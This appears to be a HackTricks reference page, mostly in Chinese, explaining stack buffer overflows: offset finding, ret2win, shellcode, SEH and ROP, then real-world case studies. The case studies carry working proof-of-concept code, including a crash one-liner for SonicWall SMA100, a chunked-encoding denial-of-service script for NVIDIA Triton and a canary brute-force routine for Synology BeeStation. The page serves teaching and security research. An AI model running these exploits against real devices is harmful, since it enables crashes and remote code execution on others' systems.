Stack Overflow

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 Stack Overflow

A stack overflow 是一种漏洞,当程序向 stack 写入超过为其分配容量的数据时就会发生。多余的数据会覆盖相邻的内存空间,导致有效数据损坏、控制流中断,并可能执行恶意代码。该问题通常由使用不做边界检查的 unsafe functions 引起。

这种覆盖的主要问题在于用于返回上一个函数的 保存的指令指针 (EIP/RIP)保存的基指针 (EBP/RBP)存储在 stack 上的。因此,攻击者可以覆盖它们并控制程序的执行流

该漏洞通常发生在函数在 stack 内复制的字节数超过为其分配的大小时,从而能够覆盖 stack 的其他部分。

一些常见的易受影响的函数包括: strcpy, strcat, sprintf, gets… 另外,像 fgets, read & memcpy 这样接受长度参数的函数,如果指定的长度大于分配的长度,也可能被以不安全的方式使用。

例如,下面的函数可能存在漏洞:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

寻找 Stack Overflows 偏移量

最常见的寻找 stack overflows 的方法是给出很长的 A 输入(例如 python3 -c 'print("A"*1000)'),并期待出现 Segmentation Fault,这表明尝试访问了地址 0x41414141

此外,一旦确认存在 Stack Overflow vulnerability,就需要找到可以overwrite the return address的偏移量。为此通常使用 De Bruijn sequence。对于给定字母表大小 k 和子序列长度 n,它是一种循环序列,其中每一个长度为 n 的可能子序列都恰好以连续子序列的形式出现一次

这样,您就不必手工推算哪个偏移可以控制 EIP,而是可以用这些序列中的一个作为 padding,然后找出最终覆盖它的 bytes 的偏移。

可以使用 pwntools 来实现:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

利用 Stack Overflows

在发生 overflow(假设溢出大小足够大)时,你将能够overwrite栈内局部变量的值,直到覆盖保存的EBP/RBP and EIP/RIP (or even more)
滥用此类漏洞最常见的方式是modifying the return address,这样当函数结束时,control flow 会被重定向到该指针指定的位置

然而,在其它场景中,可能只需overwrite 栈中某些变量的值就足以进行 exploitation(比如简单的 CTF 挑战)。

Ret2win

在这类 CTF 挑战中,binary 内有一个从未被调用的 function,你需要调用它才能获胜。对于这些挑战,你只需找到 overwrite return address 的 offset,并找到要调用的 function 的 address(通常 ASLR 会被禁用),这样当 vulnerable function 返回时,hidden function 就会被调用:

Ret2win

Stack Shellcode

在这种情形下,攻击者可以将 shellcode 放在 stack 中,并利用被控制的 EIP/RIP 跳转到该 shellcode 来执行任意代码:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

在 32-bit Windows 上,overflow 可能会覆盖 Structured Exception Handler (SEH) 链,而不是保存的 return address。利用通常会将 SEH 指针替换为一个 POP POP RET gadget,并使用 4 字节的 nSEH 字段放置一个 short jump,以 pivot 回到存放 shellcode 的大缓冲区。常见的模式是在 nSEH 放一个 short jmp,落在紧邻 nSEH 之前放置的 5 字节 near jmp 上,从而向后跳回数百字节到 payload 起始位置。

Windows Seh Overflow

ROP & Ret2… techniques

该 technique 是绕过上面提到的主要防护:No executable stack (NX) 的基础框架。它还允许执行多种其他技术(ret2lib、ret2syscall…),通过滥用 binary 中已存在的指令最终执行任意命令:

ROP & JOP

Heap Overflows

overflow 不一定发生在 stack,例如也可能发生在 heap

Heap Overflow

Types of protections

有多种 protections 用于尽量阻止漏洞被利用,详情见:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) 在 TCP/80 上暴露 /cgi-bin/api.values.get,且 no authentication。POST 参数 request 以冒号分隔;每个字符被复制到 char small_buffer[64],并在 : 或结尾处用 NUL 终止,没有任何长度检查,使得单个过长的 token 可以 smash 保存的寄存器/return address。
  • PoC overflow(会崩溃并在寄存器中显示攻击者数据):curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement:每个冒号会重新开始解析并追加一个尾随 NUL。通过使用多个过长的 identifier,每个 token 的 termin止符可以与受损帧中的不同偏移对齐,从而使攻击者能够放置 多个 0x00 字节,即便每次 overflow 通常只会添加一个。这一点很关键,因为 non-PIE binary 被映射在 0x00008000,因此 ROP gadget 地址中包含 NUL 字节。
  • 示例冒号 payload 用于在选定偏移放置五个 NUL(长度根据栈布局调整):AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksec 显示 NX enabledno canaryno PIE。利用通过从固定地址构建 ROP chain(例如调用 system() 然后 exit()),在用分隔符技巧放置所需的 NUL 字节后摆放参数。

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

2025 年在 SonicWall 的 SMA100 SSL-VPN 设备上出现的一个漏洞很好地说明了为什么 sscanf 不应被信任来解析 untrusted input/usr/src/EasyAccess/bin/httpd 内的易受攻击例程试图从以 /__api__/ 开头的 URI 中提取 version 和 endpoint:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 第一个转换 (%2s) 将 两个 字节安全地存储到 version(例如 "v1")。
  2. 第二个转换 (%s) 没有长度说明符,因此 sscanf 会继续复制 直到第一个 NUL byte
  3. 因为 endpoint 位于 stack 并且是 0x800 bytes long,提供一个长度超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 ‑ 包括 stack canarysaved return address

单行 proof-of-concept 足以在 认证之前 触发崩溃:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution).

真实世界示例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA 的 Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 触及的 stack-based overflows。 The vulnerable pattern repeatedly appeared in http_server.cc and sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) 返回组成当前 HTTP 请求体的内部缓冲段数量
  2. 每个段会导致通过 alloca()stack上分配一个16-byte evbuffer_iovec —— 没有任何上限
  3. 通过滥用 HTTP chunked transfer-encoding,客户端可以将请求强制拆分为数十万个 6-byte chunks"1\r\nA\r\n")。这会使 n 无限增长,直到 stack 耗尽。

概念验证 (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
一个约 3 MB 的请求足以覆盖保存的返回地址并在默认构建上使守护进程**crash**。

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’s Pwn2Own 2025 chain 利用在端口 5000 上 `SYNO.BEE.AdminCenter.Auth` 的 pre-auth overflow。`AuthManagerImpl::ParseAuthInfo` 将攻击者输入 Base64 解码到一个 4096 字节的栈缓冲区,但错误地将 `decoded_len = auth_info->len`。由于 CGI worker 每个请求都会 fork,每个子进程继承父进程的栈 canary,因此一个稳定的 overflow primitive 就足以同时破坏栈并 leak 所需的所有秘密。

#### Base64-decoded JSON as a structured overflow
解码后的 blob 必须是有效的 JSON 并包含 `"state"` 和 `"code"` 键;否则,解析器会在 overflow 变得有用之前抛出。Synacktiv 的解决方法是 Base64 编码一个 payload,使其解码后为 JSON、然后一个 NUL 字节、然后是 overflow stream。`strlen(decoded)` 在 NUL 处停止,所以解析成功,但 `SLIBCBase64Decode` 已经在 JSON 对象之后覆盖了栈,覆盖了 canary、保存的 RBP 和返回地址。
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi 在每次 HTTP 请求时都会 fork,因此所有子进程共享相同的 canary、stack layout 和 PIE slide。该 exploit 将 HTTP status code 作为 oracle:200 响应表示猜测的字节未破坏栈,而 502(或连接中断)表示进程崩溃。Brute-forcing 每个字节(按顺序)可以恢复 8 字节的 canary、一个保存的 stack pointer,以及位于 libsynobeeadmincenter.so 内的返回地址:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr 只是调用 bf_next_byte 八次,同时附加已确认的前缀。Synacktiv 将这些 oracles 并行化,使用约 ~16 worker threads,从而将总 leak time (canary + stack ptr + lib base) 缩短到不到三分钟。

从 leaks 到 ROP & execution

一旦 library base 已知,常见 gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) 可以构建一个 arb_write 原语,在 leaked stack address 上布置 /bin/bash-c 和攻击者命令。最后,链设置 SLIBCExecl(a BeeStation wrapper around execl(2))的调用约定,直接获得 root shell,而不需要单独的 info-leak 漏洞。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks